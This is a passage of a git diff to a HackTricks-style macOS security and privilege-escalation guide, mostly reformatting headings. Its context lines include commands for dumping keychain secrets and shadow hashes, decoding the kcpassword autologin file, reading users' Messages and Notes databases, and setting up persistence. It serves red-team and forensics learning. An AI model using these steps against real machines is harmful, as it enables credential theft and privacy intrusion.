all, please note that **most of the tricks about privilege escalation a * **`.dylib`**: Dynamic libraries (like Windows DLL files) * **`.pkg`**: Are the same as xar (eXtensible Archive format). The installer command can be use to install the contents of these files. -### File hierarchy layout +## File hierarchy layout * **/Applications**: The installed apps should be here. All the users will be able to access them. * **/bin**: Command line binaries @@ -73,7 +71,7 @@ First of all, please note that **most of the tricks about privilege escalation a * **/Volumes**: The mounted drives will apear here. * **/.vol**: Running `stat a.txt` you obtain something like `16777223 7545753 -rw-r--r-- 1 username wheel ...` where the first number is the id number of the volume where the file exists and the second one is the inode number. You can access the content of this file through /.vol/ with that information running `cat /.vol/16777223/7545753` -### Special MacOS files and folders +## Special MacOS files and folders * **`.DS_Store`**: This file is on each directory, it saves the attributes and customisations of the directory. * **`.Spotlight-V100`**: This folder appears on the root directory of every volume on the system. @@ -89,7 +87,7 @@ First of all, please note that **most of the tricks about privilege escalation a * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: List of daemons deactivated. * **`/private/etc/kcpassword`**: If autologin is enabled this file will contain the users login password XORed with a key. -### Common users +## Common users * **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": @@ -101,14 +99,14 @@ First of all, please note that **most of the tricks about privilege escalation a * **Nobody**: Processes are executed with this user when minimal permissions are required * **Root** -### User Privileges +## User Privileges * **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. * **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. * **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). * For example root won't be able to place a file inside `/System` -### **File ACLs** +## **File ACLs** When the file contains ACLs you will **find a "+" when listing the permissions like in**: @@ -131,7 +129,7 @@ You can find **all the files with ACLs** with (this is veeery slow): ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` -### Resource Forks or MacOS ADS +## Resource Forks or MacOS ADS This is a way to obtain **Alternate Data Streams in MacOS** machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. @@ -152,7 +150,7 @@ You can **find all the files containing this extended attribute** with: find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` -### Risk Files Mac OS +## Risk Files Mac OS The files `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contains the risk associated to files depending on the file extension. @@ -163,7 +161,7 @@ The possible categories include the following: * **LSRiskCategoryUnsafeExecutable**: **Triggers** a **warning** “This file is an application...” * **LSRiskCategoryMayContainUnsafeExecutable**: This is for things like archives that contain an executable. It **triggers a warning unless Safari can determine all the contents are safe or neutral**. -### Remote Access Services +## Remote Access Services You can enable/disable these services in "System Preferences" --> Sharing @@ -184,51 +182,51 @@ bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` -### MacOS Architecture +## MacOS Architecture {% content-ref url="mac-os-architecture.md" %} [mac-os-architecture.md](mac-os-architecture.md) {% endcontent-ref %} -### MacOS Serial Number +## MacOS Serial Number {% content-ref url="macos-serial-number.md" %} [macos-serial-number.md](macos-serial-number.md) {% endcontent-ref %} -### MacOS MDM +## MacOS MDM {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) {% endcontent-ref %} -### MacOS Protocols +## MacOS Protocols {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} -### MacOS - Inspecting, Debugging and Fuzzing +## MacOS - Inspecting, Debugging and Fuzzing {% content-ref url="macos-apps-inspecting-debugging-and-fuzzing.md" %} [macos-apps-inspecting-debugging-and-fuzzing.md](macos-apps-inspecting-debugging-and-fuzzing.md) {% endcontent-ref %} -## MacOS Security Mechanisms +# MacOS Security Mechanisms -### Gatekeeper +## Gatekeeper [**In this talk**](https://www.youtube.com/watch?v=T5xfL9tEg44) Jeremy Brown talks about this protections and a bug that allowed to bypass them. _**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an **identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval** before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. -### Notarizing +## Notarizing In order for an **app to be notarised by Apple**, the developer needs to send the app for review. Notarization is **not App Review**. The Apple notary service is an **automated system** that **scans your software for malicious content**, checks for code-signing issues, and returns the results to you quickly. If there are no issues, the notary service generates a ticket for you to staple to your software; the notary service also **publishes that ticket online where Gatekeeper can find it**. When the user first installs or runs your software, the presence of a ticket (either online or attached to the executable) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog** indicating that Apple has already checked for malicious content. -### File Quarantine +## File Quarantine Gatekeeper builds upon **File Quarantine.**\ Upon download of an application, a particular **extended file attribute** ("quarantine flag") can be **added** to the **downloaded** **file**. This attribute **is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software.\ @@ -289,7 +287,7 @@ And find all the quarantined files with: find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -### XProtect +## XProtect **X-Protect** is also part of Gatekeeper. **It's Apple’s built in malware scanner.** It keeps track of known malware hashes and patterns.\ You can get information about the latest XProtect update running: @@ -298,15 +296,15 @@ You can get information about the latest XProtect update running: system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` -### MRT: Malware Removal Tool +## MRT: Malware Removal Tool Should malware make its way onto a Mac, macOS also includes technology to remediate infections. The _Malware Removal Tool (MRT)_ is an engine in macOS that remediates infections based on updates automatically delivered from Apple (as part of automatic updates of system data files and security updates). **MRT removes malware upon receiving updated information** and it continues to check for infections on restart and login. MRT doesn’t automatically reboot the Mac. (From [here](https://support.apple.com/en-gb/guide/security/sec469d47bd8/web#:\~:text=The%20Malware%20Removal%20Tool%20\(MRT,data%20files%20and%20security%20updates\).)) -### Automatic Security Updates +## Automatic Security Updates Apple issues the **updates for XProtect and MRT automatically** based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. -### TCC +## TCC **TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. @@ -334,7 +332,7 @@ Unprotected directories: * $HOME/.ssh, $HOME/.aws, etc * /tmp -#### Bypasses +### Bypasses By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): @@ -344,7 +342,7 @@ Here you can find examples of how some **malwares have been able to bypass this * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) -### Seatbelt Sandbox +## Seatbelt Sandbox MacOS Sandbox works with the kernel extension Seatbelt. It makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user. @@ -365,7 +363,7 @@ Bypasses examples: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) * [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (they are able to write files outside the sandbox whose name starts with `~$`). -### SIP - System Integrity Protection +## SIP - System Integrity Protection This protection was enabled to **help keep root level malware from taking over certain parts** of the operating system. Although this means **applying limitations to the root user** many find it to be worthwhile trade off.\ The most notable of these limitations are that **users can no longer create, modify, or delete files inside** of the following four directories in general: @@ -421,7 +419,7 @@ For more **information about SIP** read the following response: [https://apple.s This post about a **SIP bypass vulnerability** is also very interesting: [https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/](https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) -### Apple Binary Signatures +## Apple Binary Signatures When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** @@ -436,7 +434,7 @@ codesign --verify --verbose /Applications/Safari.app spctl --assess --verbose /Applications/Safari.app ``` -## Installed Software & Services +# Installed Software & Services Check for **suspicious** applications installed and **privileges** over the.installed resources: @@ -447,7 +445,7 @@ lsappinfo list #Installed Apps launchtl list #Services ``` -## User Processes +# User Processes ```bash # will print all the running services under that particular user domain. @@ -460,11 +458,11 @@ launchctl print system launchctl print gui//com.company.launchagent.label ``` -## Auto Start Extensibility Point (ASEP) +# Auto Start Extensibility Point (ASEP) An **ASEP** is a location on the system that could lead to the **execution** of a binary **without** **user** **interaction**. The main ones used in OS X take the form of plists. -### Launchd +## Launchd **`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: @@ -515,7 +513,7 @@ List all the agents and daemons loaded by the current user: launchctl list ``` -### Cron +## Cron List the cron jobs of the **current user** with: @@ -533,7 +531,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. -### kext +## kext In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: @@ -554,7 +552,7 @@ kextunload -b com.apple.driver.ExampleBundle For more information about [**kernel extensions check this section**](mac-os-architecture.md#i-o-kit-drivers). -### **Login Items** +## **Login Items** In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ It it's possible to list them, add and remove from the command line: @@ -572,7 +570,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' These items are stored in the file /Users/\/Library/Application Support/com.apple.backgroundtaskmanagementagent -### At +## At “At tasks” are used to **schedule tasks at specific times**.\ These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat. @@ -591,7 +589,7 @@ echo hello > /tmp/hello | at 1337 If AT tasks aren't enabled the created tasks won't be executed. -### Login/Logout Hooks +## Login/Logout Hooks They are deprecated but can be used to execute commands when a user logs in. @@ -627,7 +625,7 @@ In the previous example we have created and deleted a **LoginHook**, it's also p The root user one is stored in `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` -### Emond +## Emond Apple introduced a logging mechanism called **emond**. It appears it was never fully developed, and development may have been **abandoned** by Apple for other mechanisms, but it remains **available**. @@ -641,7 +639,7 @@ ls -l /private/var/db/emondClients **As this isn't used much, anything in that folder should be suspicious** {% endhint %} -### Startup Items +## Startup Items {% hint style="danger" %} **This is deprecated, so nothing should be found in the following directories.** @@ -691,7 +689,7 @@ RunService "$1" ``` {% endcode %} -### /etc/rc.common +## /etc/rc.common {% hint style="danger" %} **This isn't working in modern MacOS versions** @@ -700,42 +698,42 @@ RunService "$1" It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: ```bash -## +# # Common setup for startup scripts. -## +# # Copyright 1998-2002 Apple Computer, Inc. -## +# -####################### +###################### # Configure the shell # -####################### +###################### -## +# # Be strict -## +# #set -e set -u -## +# # Set command search path -## +# PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH -## +# # Set the terminal mode -## +# #if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then # TERM=$(tset - -Q); export TERM #fi -#################### +################### # Useful functions # -#################### +################### -## +# # Determine if the network is up by looking for any non-loopback # internet network interfaces. -## +# CheckForNetwork() { local test @@ -752,9 +750,9 @@ CheckForNetwork() alias ConsoleMessage=echo -## +# # Process management -## +# GetPID () { local program="$1" @@ -778,9 +776,9 @@ GetPID () fi } -## +# # Generic action handler -## +# RunService () { case $1 in @@ -792,7 +790,7 @@ RunService () } ``` -### Profiles +## Profiles Configuration profiles can force a user to use certain browser settings, DNS proxy settings, or VPN settings. Many other payloads are possible which make them ripe for abuse. @@ -802,14 +800,14 @@ You can enumerate them running: ls -Rl /Library/Managed\ Preferences/ ``` -### Other persistence techniques and tools +## Other persistence techniques and tools * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) -## Memory Artifacts +# Memory Artifacts -### Swap Files +## Swap Files * **`/private/var/vm/swapfile0`**: This file is used as a **cache when physical memory fills up**. Data in physical memory will be pushed to the swapfile and then swapped back into physical memory if it’s needed again. More than one file can exist in here. For example, you might see swapfile0, swapfile1, and so on. * **`/private/var/vm/sleepimage`**: When OS X goes into **hibernation**, **data stored in memory is put into the sleepimage file**. When the user comes back and wakes the computer, memory is restored from the sleepimage and the user can pick up where they left off. @@ -818,7 +816,7 @@ ls -Rl /Library/Managed\ Preferences/ * However, the encryption of this file might be disabled. Check the out of `sysctl vm.swapusage`. -### Dumping memory with osxpmem +## Dumping memory with osxpmem In order to dump the memory in a MacOS machine you can use [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). @@ -848,9 +846,9 @@ sudo su cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -## Passwords +# Passwords -### Shadow Passwords +## Shadow Passwords Shadow password is stored withe the users configuration in plists located in **`/var/db/dslocal/nodes/Default/users/`**.\ The following oneliner can be use to dump **all the information about the users** (including hash info): @@ -861,7 +859,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l" [**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) or [**this one**](https://github.com/octomagon/davegrohl.git) can be used to transform the hash to **hashcat** **format**. -### Keychain Dump +## Keychain Dump Note that when using the security binary to **dump the passwords decrypted**, several prompts will ask the user to allow this operation. @@ -874,7 +872,7 @@ security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychain security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root) ``` -### [Keychaindump](https://github.com/juuso/keychaindump) +## [Keychaindump](https://github.com/juuso/keychaindump) The attacker still needs to gain access to the system as well as escalate to **root** privileges in order to run **keychaindump**. This approach comes with its own conditions. As mentioned earlier, **upon login your keychain is unlocked by default** and remains unlocked while you use your system. This is for convenience so that the user doesn’t need to enter their password every time an application wishes to access the keychain. If the user has changed this setting and chosen to lock the keychain after every use, keychaindump will no longer work; it relies on an unlocked keychain to function. @@ -894,7 +892,7 @@ sudo ./keychaindump Base on this comment [https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) it looks like this tools isn't working anymore in Big Sur. {% endhint %} -### chainbreaker +## chainbreaker [**Chainbreaker**](https://github.com/n0fate/chainbreaker) can be used to extract the following types of information from an OSX keychain in a forensically sound manner: @@ -911,24 +909,24 @@ Given the keychain unlock password, a master key obtained using [volafox](https: Without one of these methods of unlocking the Keychain, Chainbreaker will display all other available information. -#### Dump keychain keys +### Dump keychain keys ```bash #Dump all keys of the keychain (without the passwords) python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` -#### Dump keychain keys (with passwords) with SystemKey +### Dump keychain keys (with passwords) with SystemKey ```bash # First, get the keychain decryption key -## To get this decryption key you need to be root and SIP must be disabled +# To get this decryption key you need to be root and SIP must be disabled hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo -### Use the previous key to decrypt the passwords +## Use the previous key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys (with passwords) cracking the hash +### Dump keychain keys (with passwords) cracking the hash ```bash # Get the keychain hash @@ -939,20 +937,20 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys (with passwords) with memory dump +### Dump keychain keys (with passwords) with memory dump [Follow these steps](./#dumping-memory-with-osxpmem) to perform a **memory dump** ```bash #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords -## Unformtunately volafox isn't working with the latest versions of MacOS +# Unformtunately volafox isn't working with the latest versions of MacOS python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump #Try to extract the passwords using the extracted keychain passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### Dump keychain keys (with passwords) using users password +### Dump keychain keys (with passwords) using users password If you know the users password you can use it to **dump and decrypt keychains that belong to the user**. @@ -961,16 +959,16 @@ If you know the users password you can use it to **dump and decrypt keychains th python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db ``` -### kcpassword +## kcpassword The **kcpassword** file is a file that holds the **user’s login password**, but only if the system owner has **enabled automatic login**. Therefore, the user will be automatically logged in without being asked for a password (which isn't very secure). The password is stored in the file **`/etc/kcpassword`** xored with the key **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. If the users password is longer than the key, the key will be reused.\ This makes the password pretty easy to recover, for example using scripts like [**this one**](https://gist.github.com/opshope/32f65875d45215c3677d). -## **Library injection** +# **Library injection** -### Dylib Hijacking +## Dylib Hijacking As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\ However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**. @@ -988,7 +986,7 @@ The way to **escalate privileges** abusing this functionality would be in the ra **A nice scanner to find missing libraries in applications is** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) **or a** [**CLI version**](https://github.com/pandazheng/DylibHijack)**.**\ **A nice report with technical details about this technique can be found** [**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** -### **DYLD\_INSERT\_LIBRARIES** +## **DYLD\_INSERT\_LIBRARIES** > This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD\_FORCE\_FLAT\_NAMESPACE is also used. @@ -1004,9 +1002,9 @@ For example the dynamic loader (dyld) ignores the DYLD\_INSERT\_LIBRARIES enviro For more details on the security features afforded by the hardened runtime, see Apple’s documentation: “[Hardened Runtime](https://developer.apple.com/documentation/security/hardened\_runtime)” {% endhint %} -## Interesting Information in Databases +# Interesting Information in Databases -### Messages +## Messages ```bash sqlite3 $HOME/Library/Messages/chat.db .tables @@ -1016,7 +1014,7 @@ sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' ``` -### Notifications +## Notifications You can find the Notifications data in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` @@ -1027,7 +1025,7 @@ cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack ``` -### Notes +## Notes The users **notes** can be found in `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` @@ -1038,7 +1036,7 @@ sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tabl for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done ``` -## File Extensions Apps +# File Extensions Apps The following line can be useful to find the applications that can open files depending on the extension: @@ -1089,7 +1087,7 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string svg ``` -## Apple Scripts +# Apple Scripts It's a scripting language used for task automation **interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click** some allow permissions requested to the user; @@ -1118,7 +1116,7 @@ and tin this case the content cannot be decompiled even with `osadecompile` However, there are still some tools that can be used to understand this kind of executables, [**read this research for more info**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). The tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) with [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) will be very useful to understand how the script works. -## MacOS Red Teaming +# MacOS Red Teaming Red Teaming in **environments where MacOS** is used instead of Windows can be very **different**. In this guide you will find some interesting tricks for this kind of assessments: @@ -1126,13 +1124,13 @@ Red Teaming in **environments where MacOS** is used instead of Windows can be ve [macos-red-teaming.md](macos-red-teaming.md) {% endcontent-ref %} -## MacOS Automatic Enumeration Tools +# MacOS Automatic Enumeration Tools * **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) * **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb) * **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -## Specific MacOS Commands +# Specific MacOS Commands ```bash #System info @@ -1184,7 +1182,7 @@ caffeinate & #Screenshot -## This will ask for permission to the user +# This will ask for permission to the user screencapture -x /tmp/ss.jpg #Save screenshot in that file @@ -1203,7 +1201,7 @@ arp -i en0 -l -a #Print the macOS device's ARP table lsof -i -P -n | grep LISTEN smbutil statshares -a #View smb shares mounted to the hard drive -##networksetup - set or view network options: Proxies, FW options and more +#networksetup - set or view network options: Proxies, FW options and more networksetup -listallnetworkservices #List network services networksetup -listallhardwareports #Hardware ports networksetup -getinfo Wi-Fi #Wi-Fi info @@ -1228,7 +1226,7 @@ say hello -v diego #mexican: Juan, Paulina #french: Thomas, Amelie -############ High privileges actions +########### High privileges actions sudo purge #purge RAM #Sharing preferences sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) @@ -1242,7 +1240,7 @@ sudo killall -HUP mDNSResponder ``` -## References +# References * [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md index 667fa23c..1d8e4221 100644 --- a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -16,23 +16,22 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Mac OS Architecture -### Kernel +# Kernel -#### XNU +## XNU The heart of Mac OS X is the **XNU kernel**. XNU is basically composed of a **Mach core** (covered in the next section) with supplementary features provided by Berkeley Software Distribution (**BSD**). Additionally, **XNU** is responsible for providing an **environment for kernel drivers called the I/O Kit**. **XNU is a Darwin package**, so all of the source **code** is **freely available**. From a security researcher’s perspective, **Mac OS X feels just like a FreeBSD box with a pretty windowing system** and a large number of custom applications. For the most part, applications written for BSD will compile and run without modification on Mac OS X. All the tools you are accustomed to using in BSD are available in Mac OS X. Nevertheless, the fact that the **XNU kernel contains all the Mach code** means that some day, when you have to dig deeper, you’ll find many differences that may cause you problems and some you may be able to leverage for your own purposes. -#### Mach +## Mach Mach was originated as a UNIX-compatible **operating system** back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. **In XNU, Mach is responsible for many of the low-level operations** you expect from a kernel, such as processor scheduling and multitasking and virtual- memory management. -#### BSD +## BSD The **kernel** also involves a large chunk of **code derived from the FreeBSD** code base. This code runs as part of the kernel along with Mach and uses the same address space. The F**reeBSD code within XNU may differ significantly from the original FreeBSD code**, as changes had to be made for it to coexist with Mach. FreeBSD provides many of the remaining operations the kernel needs, including: @@ -45,7 +44,7 @@ The **kernel** also involves a large chunk of **code derived from the FreeBSD** To get an idea of just how complicated the interaction between these two sets of code can be, consider the idea of the fundamental executing unit. **In BSD the fundamental unit is the process. In Mach it is a Mach thread**. The disparity is settled by each BSD-style process being associated with a Mach task consisting of exactly one Mach thread. When the BSD fork() system call is made, the BSD code in the kernel uses Mach calls to create a task and thread structure. Also, it is important to note that both the Mach and BSD layers have different security models. The **Mach security** model is **based** **on** **port** **rights**, and the **BSD** model is based on **process** **ownership**. Disparities between these two models have resulted in a **number of local privilege-escalation vulnerabilities**. Additionally, besides typical system cells, there are Mach traps that allow user-space programs to communicate with the kernel. -#### I/O Kit - Drivers +## I/O Kit - Drivers I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: @@ -88,13 +87,13 @@ kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` -### Applications +# Applications A kernel without applications isn’t very useful. **Darwin** is the non-Aqua, **open-source core of Mac OS X**. Basically it is all the parts of Mac OS X for which the **source code is available**. The code is made available in the form of a **package that is easy to install**. There are hundreds of **available Darwin packages**, such as X11, GCC, and other GNU tools. Darwin provides many of the applications you may already use in BSD or Linux for Mac OS X. Apple has spent significant time **integrating these packages into their operating system** so that everything behaves nicely and has a consistent look and feel when possible. On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source (although some of their components are open source). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** -#### **Universal binaries** +## **Universal binaries** Mac OS binaries usually are compiled as universal binaries. A **universal binary** can **support multiple architectures in the same file**. @@ -113,7 +112,7 @@ gcc -arch ppc -arch i386 -o test-universal test.c As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. -#### Mach-o Format +## Mach-o Format ![](<../../.gitbook/assets/image (559).png>) @@ -224,7 +223,7 @@ otool -L /bin/ls #Get libraries used by the binary Or you can use the GUI tool [**machoview**](https://sourceforge.net/projects/machoview/). -#### Bundles +## Bundles Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` @@ -258,7 +257,7 @@ ls -lR /Applications/Safari.app/Contents Contains the **oldest** **version** of **macOS** that the application is compatible with. -#### Objective-C +## Objective-C Programs written in Objective-C **retain** their class declarations **when** **compiled** into (Mach-O) binaries. Such class declarations **include** the name and type of: @@ -274,7 +273,7 @@ class-dump Kindle.app Note that this names can be obfuscated to make the reversing of the binary more difficult. -#### Native Packages +## Native Packages There are some projects that allow to generate a binary executable by MacOS containing script code which will be executed. Some examples are: @@ -285,7 +284,7 @@ There are some projects that allow to generate a binary executable by MacOS cont * **Electron:** JavaScript, HTML, and CSS. * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility:** `npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\\ -### References +# References * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md b/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md index 7a81aa39..82cbd4bd 100644 --- a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md +++ 